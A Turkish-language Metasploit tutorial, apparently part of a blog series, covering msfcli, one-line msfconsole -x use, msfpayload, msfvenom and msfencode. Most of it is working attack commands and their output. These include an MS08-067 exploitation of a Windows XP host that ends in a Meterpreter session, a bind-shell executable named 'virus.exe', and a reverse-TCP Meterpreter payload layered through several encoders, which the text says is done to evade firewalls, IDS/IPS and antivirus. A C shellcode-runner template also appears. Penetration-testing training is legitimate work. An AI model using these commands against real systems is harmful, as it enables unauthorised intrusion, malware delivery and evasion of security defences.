Metasploit Detay Bilgiler
Bu makalede metasploit ile alakalı konu zincirinde artık paylaşmayı planladığım tamamlayıcı son notlara yer verilecektir. Konu zincirine baştan başlamamış arkadaşlar için sıralama şu şekildedir:




Bu makalede sizlerle Metasploit Framework arayüzü msfconsole'un yan araçlarından olan msfcli tool'u, msfpayload tool'u, msfencode tool'u ve msfvenom tool'u paylaşılacaktır. Bunun yanısıra bakış açınızı genişletecek bazı ekstra bilgiler de paylaşılacaktır.

a. Msfcli

Msfconsole tool'unun yan tool'larından biri olan msfcli (yani msf client) msfconsole arayüzünde satır satır yaptığınız işlemleri tek satırda yapmanızı sağlayan bir araçtır. Örneğin Metasploit ile Bir Sızma Uygulaması (ms08-067) yazısında msfconsole tool'u kullanılmıştı ve şöyle satır satır kodlamalar yaparak hedef sisteme sızmıştık:

Kali Linux Terminal:

msf > use exploit/windows/smb/ms08_067_netapi
msf (ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
msf (ms08_067_netapi) > set LHOST X.X.X.X              // Kali Linux IP
msf (ms08_067_netapi) > set RHOST X.X.X.X              // WindowsXP IP
msf (ms08_067_netapi) > exploit                        // Modül çalıştırılır.
meterpreter > (((( Sisteme girdik ))))


Tüm bu satır satır yapılan işlemlerin tek satırda halledilmesi gereği duyulabilir. Mesela elinize daha pratik geldiği için alışkanlık açısından buna gereksinim duyabilirsiniz ya da daha hayati bir sebep nedeniyle de olabilir. Misal bir ruby / python / perl script'i yazıyorsanız ve script'iniz içerisinde bir yerlerde metasploit framework'ünden yararlanıp hedef sistemde shell (komut satırı) oturumu almak gibi msfconsole'un kendine ait komutlarla gerçekleşecek işlemleri yapmak istiyorsanız script'iniz içerisinde msfconsole tool'unu handle edecek (uygun şekilde kullanacak) bir modül geliştirmeniz gerekecektir. Bu ise sizin için epey zahmetli ve zaman kaybına yol açıcı bir hal alabilir. Ancak eğer msfconsole'un tek satırlık bir formatı olursa ruby / python / perl script'inizin içerisine komut satırında komut çalıştırmaya yarayan standard fonksiyonlardan birini koyabilir ve bu komut çalıştıran standard fonksiyonun içerisine tek satırlık msfconsole türevi kodu koyarak büyük bir zahmetten kurtulabilirsiniz. Böylece pratik bir şekilde script'inizde kodlamaya devam edebilirsiniz. İşte bu v.b. gereksinimlerden dolayı msfcli tool'u geliştirilmiştir. msfcli tool'u msfconsolde yapılan tüm işlemleri yanyana parametre=arguman şeklinde alarak gerçekleştirmektedir.

msfcli tool'unu tanımak için birkaç anahtar noktasından bahsedelim. Öncelikle msfcli şu şekilde bir kullanım biçimine sahiptir:

Kullanım Dizilişi (Syntax'ı) :

msfcli [exploitadi] [option=value] [mode]


msfcli komutun adı, exploitadi kısmına msfconsole'da girdiğiniz exploit yolu ve ismi, option=value kısmına seçilen modülün konfigurasyon ayarları, son olarak da mode kısmına bu komut için uygulanacak nihai aksiyon gelir. Bir örnekle tüm bu japonca karakterleri andıran cümleyi anlamlandıralım:

msfcli exploit/windows/smb/ms08_067_netapi RHOST=172.16.3.120 RPORT=445 PAYLOAD=windows/meterpreter/bind_tcp LHOST=172.16.3.118 O       // Sondaki (O)ptions'ın baş harfi "O"dur. Sıfır değildir!


Görüldüğü üzere komut adından sonra ilk olarak exploit yolu ve ismi geldi, ardından exploit seçildikten sonra msfconsole'da set komutuyla değer atadığımız parametreler gibi parametreIsmi=parametreDegeri ihtiyaç duyulduğu kadar sırasıyla yerleştirildi. En sonunda ise mod olarak msfconsole'da show options'a karşılık gelen msfcli'da (O)ptions olarak kabul gören (O)ptions'ın baş harfi kondu. Böylece tahmin edebileceğiniz üzere exploit seçildiği için ve parametrelerine değerler atandığı için en nihayetinde msfconsole'da show options ile ne gelecekse şimdi de o gelecektir. Yani seçilen modül ve modülün parametrelerine atanılan değerlerin bilgisi ekrana gelecektir:

Çıktı:

[*] Please wait while we load the module tree...

Name     Current Setting  Required  Description
----     ---------------  --------  -----------
RHOST    172.16.3.120     yes       The target address
RPORT    445              yes       Set the SMB service port
SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Name     Current Setting  Required  Description
----     ---------------  --------  -----------
EXITFUNC process          yes       Exit technique: seh, thread, process, none
LPORT    4444             yes       The listen port
RHOST    172.16.3.120     no        The target address


Görüldüğü üzere parametrelere verdiğimiz arguman değerlerini çıktı olarak ekranda görüntülemekteyiz. Bu sayede yanlış bir değer ataması var mı kontrolü yapabilirsiniz. msfcli tool'u (O)ptions modu gibi msfconsole'da yapılabilen tüm aksiyonlara karşılık gelecek modlara sahiptir. Bunlar şu şekildedir:

Msfcli Modları :

Modlar              Yaptığı İş
---------------     -------------------
(H)elp              Yardım menüsünün görüntülenmesini sağlar.
(S)ummary           Belirtilen exploit hakkında detaylı bilgi 
                    verir (Msfconsole'daki info'dur).
(O)ptions           Belirtilen exploit'in set edilecek değişkenlerini 
                    sunar. (Msf'deki show options) 
(A)dvanced          Berlitilen exploit için ilgili tüm değişkenleri 
                    sunar. (Msf'deki show advanced)
(I)DS Evasion       IDS'lere yakalanmamak için ayarlanabilecek 
                    değişkenleri sunar.
(P)ayloads          Belirtilen exploit'le uyumlu tüm payload'ları 
                    sunar.
(T)argets           Berlitilen exploit'in işe yaradığı işletim 
                    sistemlerini sunar.
(AC)tions           Berlirtilen exploit ile kullanılabilecek 
                    auxiliary'leri sunar.
(C)heck             Belirtilen exploit'in hedef sistemde işe yarayıp 
                    yaramayacağını tespit eder.
(E)xecute           Belirtilen exploit'i çalıştırır.


Bu modların parantez içerisine alınan harfleri msfcli'nin aldığı parametre ve değerlerinin en sonuna konur ve böylece msfcli aldığı argumanlar (seçilen modül ve ayarlamalar) neticesinde belirtilen modun işlevini yerine getirir. Şimdi az önce oluşturduğumuz msfcli komutunu bu sefer (E)xecute moduyla deneyelim.

Kali Linux Terminal:

msfcli exploit/windows/smb/ms08_067_netapi RHOST=172.16.3.120 RPORT=445 PAYLOAD=windows/meterpreter/bind_tcp LHOST=172.16.3.118 E          // (E)xecute'un E'si ile modül çalıştırılır.


Çıktı:

[*] Please wait while we load the module tree...

Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018   es: 0018  ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)


Stack: 90909090990909090990909090
       90909090990909090990909090
       90909090.90909090.90909090
       90909090.90909090.90909090
       90909090.90909090.09090900
       90909090.90909090.09090900
       ..........................
       cccccccccccccccccccccccccc
       cccccccccccccccccccccccccc
       ccccccccc.................
       cccccccccccccccccccccccccc
       cccccccccccccccccccccccccc
       .................ccccccccc
       cccccccccccccccccccccccccc
       cccccccccccccccccccccccccc
       ..........................
       ffffffffffffffffffffffffff
       ffffffff..................
       ffffffffffffffffffffffffff
       ffffffff..................
       ffffffff..................
       ffffffff..................


Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing


Large pentest? List, sort, group, tag and search your hosts and services
in Metasploit Pro -- type 'go_pro' to launch it now.

       =[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1060 exploits - 659 auxiliary - 178 post
+ -- --=[ 275 payloads - 28 encoders - 8 nops

RHOST => 172.16.3.120
RPORT => 445
PAYLOAD => windows/meterpreter/bind_tcp
LHOST => 172.16.3.118
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:Turkish
[*] Selected Target: Windows XP SP2 Turkish (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 172.16.3.120
[*] Meterpreter session 1 opened (172.16.3.118:49566 -> 
172.16.3.120:4444) at 2018-10-21 02:02:11 -0700

meterpreter >  (((((( İçerdeyiz ))))))


Görüldüğü üzere msfcli'ı (E)xecute modunda çalıştırarak msfcli'a arguman olarak verdiğimiz modüllerin belirttiğimiz ayarlarda çalışmasını ve bunun sonucunda hedef sisteme sızılmasını sağlamış olduk.

[!] Uyarı

Msfcli tool'u artık tedavülden kalkmıştır (deprecated olmuştur). Msfcli işlevini yerine getirmek için msfconsole ekstradan bünyesine tek satırda çalışma özelliğini dahil etmiştir. Dolayısıyla msfconsole tool'unda artık tek satırda modül seçme, modül konfigure etme ve çeşitli aksiyonlar alma işlemlerini -x parametresiyle yapabilmekteyiz. Msfcli'a olan desteğin çekilmesiyle msfcli'ın pabucu dama atılmış durumda. Ancak size msfcli'ı göstermemin bir amacı vardı. Aynı işi alternatif tool'ların nasıl yaptıklarını göstererek sizi linux tool'larına aşina kılmak ve linux dünyasında örtüşen noktaları görerek özümseyebileceğiniz kalıcı bir bilgi sunmaktı. En azından bu noktada bir nebze katkıda bulunmaktı.

Şimdi tedavülden kalkmış (depreacated olmuş) msfcli tool'u yerine msfconsole'un tek satırda kullanımını gösterelim. Az önce msfcli'da kullandığımız örneği bu sefer msfconsole ve -x parametresine uyarlayalım:

Kali Linux Terminal:

msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 172.16.3.120; set RPORT 445; set PAYLOAD windows/meterpreter/bind_tcp; set LHOST 172.16.3.73; show options"


Görüldüğü üzere -x parametresi argüman olarak msfconsole'u normal başlattığımızda girdiğimiz komutları almaktadır. msfconsole'u bu haliyle çalıştırdığımızda aşağıdaki çıktı bizi karşılayacaktır.

Çıktı:

______________________________________________________________________________
|                                                                              |
|                          3Kom SuperHack II Logon                             |
|______________________________________________________________________________|
|                                                                              |
|                                                                              |
|                                                                              |
|                 User Name:          [   security    ]                        |
|                                                                              |
|                 Password:           [               ]                        |
|                                                                              |
|                                                                              |
|                                                                              |
|                                   [ OK ]                                     |
|______________________________________________________________________________|
|                                                                              |
|                                                       https://metasploit.com |
|______________________________________________________________________________|


       =[ metasploit v4.16.30-dev                         ]
+ -- --=[ 1722 exploits - 986 auxiliary - 300 post        ]
+ -- --=[ 507 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

RHOST => 172.16.3.120
RPORT => 445
PAYLOAD => windows/meterpreter/bind_tcp
LHOST => 172.16.3.73

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    172.16.3.120     yes       The target address
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh,
                                        thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST     172.16.3.120     no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


Görüldüğü üzere -x parametresine verdiğimiz argümanlarla seçtiğimiz exploit ve payload'a tanımladığımız ayarlar ekrana geldi. Ekrana gelen çıktıdaki parametre değerlerini sorunsuz girdiğinizi teyit ettikten sonra -x parametresinin argumanındaki en son msfconsole komutu olan "show options"ı "exploit" ile değiştirerek hedef sisteme sızma girişiminde bulunabiliriz.

Kali Linux Terminal:

msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 172.16.3.120; set RPORT 445; set PAYLOAD windows/meterpreter/bind_tcp; set LHOST 172.16.3.73; exploit"


Çıktı:

MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMM                MMMMMMMMMM
MMMN$                           vMMMM
MMMNl  MMMMM             MMMMM  JMMMM
MMMNl  MMMMMMMN       NMMMMMMM  JMMMM
MMMNl  MMMMMMMMMNmmmNMMMMMMMMM  JMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMNM   MMMMMMM   MMMMM  jMMMM
MMMNI  WMMMM   MMMMMMM   MMMM#  JMMMM
MMMMR  ?MMNM             MMMMM .dMMMM
MMMMNm `?MMM             MMMM` dMMMMM
MMMMMMN  ?MM             MM?  NMMMMMN
MMMMMMMMNe                 JMMMMMNMMM
MMMMMMMMMMNm,            eMMMMMNMMNMM
MMMMNNMNMMMMMNx        MMMMMMNMMNMMNM
MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM
        https://metasploit.com


       =[ metasploit v4.16.30-dev                         ]
+ -- --=[ 1722 exploits - 986 auxiliary - 300 post        ]
+ -- --=[ 507 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

RHOST => 172.16.3.120
RPORT => 445
PAYLOAD => windows/meterpreter/bind_tcp
LHOST => 172.16.3.73
[*] Started bind handler
[*] 172.16.3.120:445 - Automatically detecting the target...
[*] 172.16.3.120:445 - Fingerprint: Windows XP - Service Pack 2 - lang:Turkish
[*] 172.16.3.120:445 - Selected Target: Windows XP SP2 Turkish (NX)
[*] 172.16.3.120:445 - Attempting to trigger the vulnerability...
[*] Sending stage (179779 bytes) to 172.16.3.120
[*] Meterpreter session 1 opened (172.16.3.73:45889 -> 
172.16.3.120:4444) at 2018-10-22 00:12:51 -0400

meterpreter >    (((( İçerdeyiz ))))



Görüldüğü üzere sisteme msfconsole'u tek satırda kullanarak girmiş bulunmaktayız.

b. Msfpayload

Msfpayload, payload derlemeye (oluşturmaya) yarayan bir araçtır. Normalde metasploit'te bir exploit seçildiğinde ve buna bir payload ilave edildiğinde bunları hedef sisteme yollarken metasploit arkaplanda payload'u derleme işlemini yapmaktadır ve o derlenmiş halini hedef sisteme yollamaktadır.

Not:
Bazı payload'ların kaynak kodlarından derlenmiş haline shellcode adı verilmektedir. İşletim sistemlerinde shell demek işletim sistemi çekirdeğiyle birebir etkileşim halinde olduğunuz, "cd, dir, ls, pwd, uname -a, ..." gibi kodların çalıştırıldığı komut satırı oturumuna denir. Shellcode demek ise uzak sistemde komut satırı oturumu elde ettiren kodlara denir.

Msfpayload tool'u metasploit'in arkaplanda yaptığı payload derleme işlemini sizin manuel olarak yapabilmenizi sağlayan bir arayüz sunar. Bu metoda kimi zaman gerek duyabilirsiniz. Çünkü elinize metasploit framework'de yer almayan bir exploit geçmiş olabilir ve siz hedef sisteme manuel olarak sızmak isteyebilirsiniz. Bu girişiminizi payload ile tamamlamak için de msfpayload gibi payload'ları kaynak kodundan derleyen bir araca ihtiyaç duyabilirsiniz. Derlenmemiş bir payload'u olduğu gibi hedef sisteme yollarsanız hedef sisteme bir tür proje kod dosyası göndermiş gibi olursunuz. Sizin hedef sistemde çalışabileceğini düşündüğünüz bir formatta dosya göndermeniz gerekir ki komut satırı oturumunu elde edebilesiniz. Bu v.b nedenlerden ötürü payload'ların derlenmesi gerekmektedir ve bu iş için msfpayload tool'u kullanılabilir.

Not:
Windows'taki shell'e CMD (Command Prompt), Linux'takine ise örneğin BASH (Bourne Again Shell) denmektedir.

Msfpayload ile birden fazla çeşitte payload derlemesi yapılabilmektedir. Örneğin; C, Perl, Ruby, Raw, Javascript, Visual Basic Script ve exe bunlardan sadece birkaçıdır. Payload derlemesi ve çıktısını alma konusunda bir konuya açıklık getirmekte fayda var: Payload'u msfpayload ile hangi formatta derlerseniz derleyin payload her defasında sadece ama sadece byte kodlara dönüşecektir. Ancak payload'un derlenmiş bu byte byte kodları belirtiğiniz çıktı formatındaki bir bloğun içerisine yerleştirileceğinden bu kodlar bir c dosyası içerisinde çalıştırılacak şekilde yer alabilir, bir Ruby dosyası içerisinde çalıştırılacak şekilde yer alabilir ya da bir Javascript dosyası içerisinde... Burada değişen tek şey wrapper formatıdır. Yani sarıcı format. Hedef sistemde çalışacağını umduğumuz formatı seçerek payload'unuzu hedef sisteme gönderebilirsiniz. Bu konuda biraz daha teknik detay vermek gerekirse payload'unuzdan dönüşen byte kodları seçilen formatın (dilin) syntax'ına uygun bir şekilde bir değişkene atanacaktır ve bu değişkenin değeri (yani payload'un byte kodları) kullanılan dilin standard bir fonksiyonu aracılığıyla çalıştırılacak şekilde ayarlanacaktır. Bu şekilde hedef sisteme örneğin sistem seviyesinde bir sızma girişimi yapılıyorsa seçeceğiniz Visual Basic Script formatındaki payload'unuz ile hedef sistemde payload'unuzu çalıştırabilirsiniz ya da web uygulama katmanında bir sızma girişimi yapıyorsanız Javascript formatındaki payload'unuz ile hedef sistemde payload'unuzu çalıştırabilirsiniz. Bu bahsedilen formatlar sadece birer payload'unuzu sarıcı (wrapper) bir işleve sahiptir. Bu şekilde payload'unuzu sızdığınız platforma uygun bir şekilde çalıştırılabilir halde gönderebilirsiniz. Aşağıda C dilinde (formatında) bir payload wrapper (payload sarıcı bir şablon) örneği görmektesiniz:

#include <stdio.h>

const char shellcode[] = "shellcode buraya gelir. Örn; \xfc\xe8\x89\x00\x00\x00\x60\x89\xe5 .......";

int main(){
    (*(void(*)()) shellcode)();
    return 0;
}


Bu v.b. payload çıktıları almak için kullanılabilen msfpayload tool'unun kullanım biçimine şimdi bir gözatalım.

Msfpayload Kullanım Dizilişi (Syntax'ı):

msfpayload [options] [payload] [parametre=arguman] [ciktiFormati]


msfpayload komutun adı, options msfpayload tool'unun argumanlarını (örn; -h (yani help), -l (yani list) gibi), payload payload'un ismini, parametre=arguman seçilen payload'un parametre ve atanacak değerlerini, ciktiFormati ise payload'un hangi dilde wrap edilerek (etraflıca sarılarak) çıktılanacağını belirtir. Şimdi bir de kullanım örneğini görelim.

Kali Terminal:
msfpayload -l

Çıktı:

Framework Payloads (275 total)
==============================

Name                           Description
----                           -----------
aix/ppc/shell_bind_tcp         Listen for a connection and spawn a command shell
aix/ppc/shell_find_port        Spawn a shell on an established connection
aix/ppc/shell_interact         Simply execve /bin/sh (for inetd programs)
aix/ppc/shell_reverse_tcp      Connect back to attacker and spawn a command shell
bsd/sparc/shell_bind_tcp       Listen for a connection and spawn a command shell
bsd/sparc/shell_reverse_tcp    Connect back to attacker and spawn a command shell
bsd/x86/exec                   Execute an arbitrary command
bsd/x86/metsvc_bind_tcp        Stub payload for interacting with a Meterpreter
bsd/x86/metsvc_reverse_tcp     Stub payload for interacting with a Meterpreter
bsd/x86/shell/bind_ipv6_tcp    Listen for a connection over IPv6, Spawn a command
...
...


Belirlediğimiz bir payload'un konfigure edilebilecek parametrelerini (ayarlarını) görelim.

Kali Terminal:
msfpayload windows/shell_bind_tcp O      // Sondaki çıktı formatı değeri (O)ptions'ın baş harfidir. 

Çıktı:

Name        Current Setting     Required     Description
---------   ----------------    ---------    ----------------
EXITFUNC    process             yes          Exit technique: seh, thread, process …
LPORT       4444                yes          The listen port
RHOST                           no           The target address



Payload'un konfigure edilebilecek parametrelerine (ayarlarına) değerlerimizi atayalım ve bir kontrol edelim.

Kali Terminal:
msfpayload windows/shell_bind_tcp  EXITFUNC=thread LPORT=1234 RHOST=222.168.33.41 O     // (O)ptions'ın baş harfi çıktı formatı olarak verilmiştir

Çıktı:


Name       Current Setting    Required     Description
---------   ----------------  ---------    ----------------
EXITFUNC    thread            yes          Exit technique: seh, thread, process …
LPORT       1234              yes          The listen port
RHOST       222.168.33.41     no           The target address



Gösterilen parametre atamalarında bir hata yapmadığımızı teyit ettikten sonra payload çıktılama işlemine geçelim.

Kali Terminal:
msfpayload windows/shell_bind_tcp EXITFUNC=thread LPORT=1234 RHOST=222.168.33.41 X     // Çıktı formatı olarak exe belirtilmiştir.

Çıktı:


((( Kargaşık burgaşık karakterler ekrana basılır ))

Evet, başarılı bir şekilde payload çıktısını almış bulunmaktayız. Ancak oluşturduğumuz payload'u konsol ekranına basmak yerine bir dosya halinde toplamalıyız ki hedef sisteme gönderebilelim. Bu işlem için linux komut satırında kullanılabilen > operatörü kullanılabilir.

Kali Terminal:
msfpayload windows/shell_bind_tcp EXITFUNC=thread LPORT=1234 RHOST=222.168.33.41 X > virus.exe
ls             // ls (list) bulunulan dizindeki dosyaları sıralamaya yarar.

Çıktı:

Desktop deneme.pdf Documents virus.exe


Artık payload gönderime hazır vaziyettedir. Msfpayload'da EXE gibi başka çıktılama formatları da mevcuttur. Bunlar;

Çıktı Formatı           Msfpayload'a Konulacak Harfi
--------------------    ----------------------------
[O]ptions               O
[C] Dili                C
Cs[H]arp Dili           H
[P]erl Dili             P
Ruby[Y] Dili            Y
[R]aw (Ham) Hal         R
[J]avascript Dili       J
e[X]e Hali              X
[D]ll Hali              D
[V]isual Basic Dili     V
[W]ar Hali              W
Pytho[N] Dili           N


Böylelikle msfpayload kullanımını görmüş olduk. Bu formatlardan hedef sistemde çalışabileceğini umduğumuzu seçip payload'umuzu ona göre hazırlayarak hedefimize ulaşabiliriz.

[!] Uyarı

Metasploit'in yan tool'u olan msfpayload tıpkı msfcli gibi artık tedavülden kalkmıştır (deprecated olmuştur). Metasploit geliştiricileri yola artık msfvenom tool'u ile devam etmektedir. Şimdi msfpayload ile yaptığımız işlemlerin aynısını bir de msfvenom ile yapalım. Öncelikle msfvenom kullanım biçimi;

Msfvenom Kullanım Dizilişi (Syntax'ı):

msfvenom [options] [parametre=arguman] [ciktiFormati]   //Msfpayload daki [options] ve [payload] bölümleri options ın içinde toplanmıştır.


Şimdi seri bir şekilde msfpayload'da yapılan işlemlerin aynısının msfvenom'daki karşılıklarına bakalım.

Kali Terminal:
msfvenom -l

Çıktı:

Framework Payloads (507 total)
==============================

    Name                       Description
    ----                       -----------
    aix/ppc/shell_bind_tcp     Listen for a connection and spawn a command shell
    aix/ppc/shell_find_port    Spawn a shell on an established connection
    aix/ppc/shell_interact     Simply execve /bin/sh (for inetd programs)
    aix/ppc/shell_reverse_tcp  Connect back to attacker and spawn a command shell
    ...                        ...
    ...                        ...

Framework Encoders
==================

    Name                       Rank       Description
    ----                       ----       -----------
    cmd/echo                   good       Echo Command Encoder
    cmd/generic_sh             manual     Generic Shell Variable Substitution 
                                          Command Encoder
    cmd/ifs                    low        Generic ${IFS} Substitution Command 
                                          Encoder
    cmd/perl                   normal     Perl Command Encoder
    cmd/powershell_base64      excellent  Powershell Base64 Command Encoder
    cmd/printf_php_mq          manual     printf(1) via PHP magic_quotes Utility 
                                          Command Encoder
    ...                        ...        ...
    ...                        ...        ...

Framework NOPs (10 total)
=========================

    Name                       Description
    ----                       -----------
    aarch64/simple             Simple NOP generator
    armle/simple               Simple NOP generator
    mipsbe/better              Better NOP generator
    php/generic                Generates harmless padding for PHP scripts
    ppc/simple                 Simple NOP generator
    ...                        ...
    ...                        ...


Kali Terminal:
msfvenom -p windows/shell_bind_tcp --payload-options

Not: Eski Kali'lerde (yani msfvenom'un eski versiyonlarında) payload seçeneklerini görüntülemek için --payload-options yerine sadece -o kullanılmaktadır: msfvenom -p payloadPath/payloadName -o

Çıktı:

Name        Current Setting   Required   Description
---------   ----------------  ---------  ----------------
EXITFUNC    process            yes       Exit technique: seh, thread, process …
LPORT       4444               yes       The listen port
RHOST                          no        The target address



Kali Terminal:
msfvenom -p windows/shell_bind_tcp  EXITFUNC=thread LPORT=1234 RHOST=222.168.33.41 --payload-options

Not: Msfvenom henüz payload'lara atanan değerleri tutma ve ekrana yansıtma özelliğine sahip değildir.

Çıktı:

Name        Current Setting   Required   Description
---------   ----------------  ---------  ----------------
EXITFUNC    thread            yes        Exit technique: seh, thread, process …
LPORT       1234              yes        The listen port
RHOST       222.168.33.41     no         The target address


Kali Terminal:
msfvenom -p windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 RHOST=222.168.33.41 -a x86 --platform windows -f exe

Çıktı:

(( Ekrana kargaşık burgaşık karakterler gelir ))



Kali Terminal:
msfvenom -p windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 RHOST=222.168.33.41 -a x86 --platform windows -f exe -o virus.exe
ls

Çıktı:

Desktop deneme.pdf Documents virus.exe


Böylece msfvenom ile tıpkı msfpayload'da yaptığımız gibi payload dosyamızı hazır hale getiririz. Msfvenom'un payload çıktılama formatlarından exe gibi desktelediği diğer formatlar ise şu şekildedir:

Çıktı Formatı               Msfvenom'a Konulma Şekli
--------------------        ----------------------------
ASP Dili                    asp
ASPX Dili                   aspx             
JSP Dili                    jsp
Javascript Dili             javascript
DLL Hali                    dll
Exe Hali                    exe
Msi Hali                    msi
Jar Hali                    jar
War Hali                    war
Bash Dili                   bash
Powershell Dili             powershell
Visual Basic Script Dili    vbscript
C Dili                      c
Csharp Dili                 csharp   
Java Dili                   java
Bash Dili                   bash
Perl Dili                   perl
Ruby Dili                   ruby
Python Dili                 python
...                         ...
...                         ...




Böylelikle msfpayload'un devamı niteliğinde olan msfvenom'u görmüş olduk.

c. Msfencode

Msfencode bir başka metasploit framework yan araçlarından biridir. Görevi belirtilen payload'u encode'lamaktır (kodlamak ve tanınmaz hale getirmektir). Bu sayede hedef sisteme gönderilecek payload'un hedef sistemdeki Firewall, IDS/IPS ya da antivirus yazılımlarca tanınıp engellenmesi önlenebilir. Şayet hedef sistemdeki güvenlik mekanizması payload'unuzdaki zararlı faaliyetleri tanımlayabilirse bloklayacağından saldırınız başarısız olacaktır.

Msfencode ile payload'larınızı encode'layarak (kodlayarak) tanınmaz hale getirebilir, encode'lama sırasında oluşacak istenmeyen karakterleri silme işlemini otomatize bir şekilde gerçekleştirebilir veya 64-bit sistemlere uygun bir encode'lamada bulunabilirsiniz. Msfencode ile bir payload'u üst üste defalarca aynı ya da farklı encode'lama teknikleriyle encode'layabilirsiniz.

Metasploit Framework arayüzü msfconsole'da bir exploit seçip üzerine payload ilave ettiğinizde ve hedef sisteme exploit komutuyla gönderdiğinizde msfconsole arkaplanda payload'unuzu hedef sisteme göre başarı şansı en yüksek encoder'la kodlamaktadır. Msfencode ise size payload'u encode'lama işini manuel yapmanıza olanak sağlayan bir arayüz sunar. Msfencode aracının kullanım biçimi şu şekildedir:

Kullanım Dizilişi (Syntax'ı) :

msfencode [options]


msfencode komutun adı, options msfencode tool'unun parametre ve değerlerini alır.

Msfencode'un kullanabileceği yüklü encoder'ları (kodlayıcıları) listelemek için -l parametresi kullanılır.

Kali Linux Terminal:

msfencode -l


Çıktı:


Framework Encoders
==================

    Name                       Rank       Description
    ----                       ----       -----------
    cmd/generic_sh             good       Generic Shell Variable Substitution 
                                          Command Encoder
    cmd/ifs                    low        Generic ${IFS} Substitution Command 
    cmd/printf_php_mq          manual     printf(1) via PHP magic_quotes
    generic/none               normal     The "none" Encoder
    mipsbe/longxor             normal     XOR Encoder
    mipsle/longxor             normal     XOR Encoder
    php/base64                 great      PHP Base64 Encoder
    ppc/longxor                normal     PPC LongXOR Encoder
    ppc/longxor_tag            normal     PPC LongXOR Encoder
    sparc/longxor_tag          normal     SPARC DWORD XOR Encoder
    x64/xor                    normal     XOR Encoder
    x86/alpha_mixed            low        Alpha2 Alphanumeric Mixedcase Encoder
    x86/alpha_upper            low        Alpha2 Alphanumeric Uppercase Encoder
    x86/avoid_underscore       manual     Avoid underscore/tolower
    x86/avoid_utf8_tolower     manual     Avoid UTF8/tolower
    x86/call4_dword_xor        normal     Call+4 Dword XOR Encoder
    x86/context_cpuid          manual     CPUID-based Context Keyed Payload
    x86/context_stat           manual     stat(2)-based Context Keyed Payload
    x86/context_time           manual     time(2)-based Context Keyed Payload 
    x86/countdown              normal     Single-byte XOR Countdown Encoder
    x86/fnstenv_mov            normal     Variable-length Fnstenv/mov Dword XOR
    x86/jmp_call_additive      normal     Jump/Call XOR Additive Feedback Encoder
    x86/nonalpha               low        Non-Alpha Encoder
    x86/nonupper               low        Non-Upper Encoder
    x86/shikata_ga_nai         excellent  Polymorphic XOR Additive Feedback Encoder
    x86/single_static_bit      manual     Single Static Bit
    x86/unicode_mixed          manual     Alpha2 Alphanumeric Unicode Mixedcase
    x86/unicode_upper          manual     Alpha2 Alphanumeric Unicode

Msfpayload ile oluşturulan bir payload'u msfencode ile encode'lama örneği aşağıda verilmiştir.

Kali Linux Terminal:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.2 LPORT=4443 R  | msfencode -e x86/shikata_ga_nai -t exe -o /root/Desktop/payload.exe


Çıktı:

[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)


Yukarıdaki kod satırını anlamlandıracak olursak önce msfpayload aracı meterpreter payload'unu Raw formatında oluşturur. Ardından bir linux komut satırı operatörü olan | (yani pipe (boru)) ile soldaki komutun çıktısı sağdaki komuta gönderilir. Sağdaki komut olan msfencode, -e parametresiyle (e)ncode metodunun ismini (örn; shikata_ga_nai'yi) alır, -t parametresi ile encoding işlemi sonrası tanınmaz payload dosyasının çıktı formatının ne olacağı bilgisini alır, son olarak -o parametresi ile de çıktı dosyasının ismini alır. Böylece oluşturduğumuz payload'u encode'lanmış bir şekilde elde etmiş oluruz.

Peki, yukarıdaki örnekte msfpayload ile oluşturduğumuz payload'umuzu bir defaya mahsus bir şekilde encode'lamaya tabi tuttuk. Oluşturulan bu payload'u birden fazla encoder ile üst üste kodlamak isteyeseydik ne yapardık? Hemen o örneğe bir gözatalım.

Kali Linux Terminal:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.2 LPORT=4443 R  | msfencode -e x86/shikata_ga_nai -t raw | msfencode -e x86/alpha_upper -t raw | msfencode -e x86/shikata_ga_nai -t raw | msfencode -e x86/countdown -t exe -o payload.exe


Çıktı:

[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/alpha_upper succeeded with size 701 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 728 (iteration=1)
[*] x86/countdown succeeded with size 746 (iteration=1)

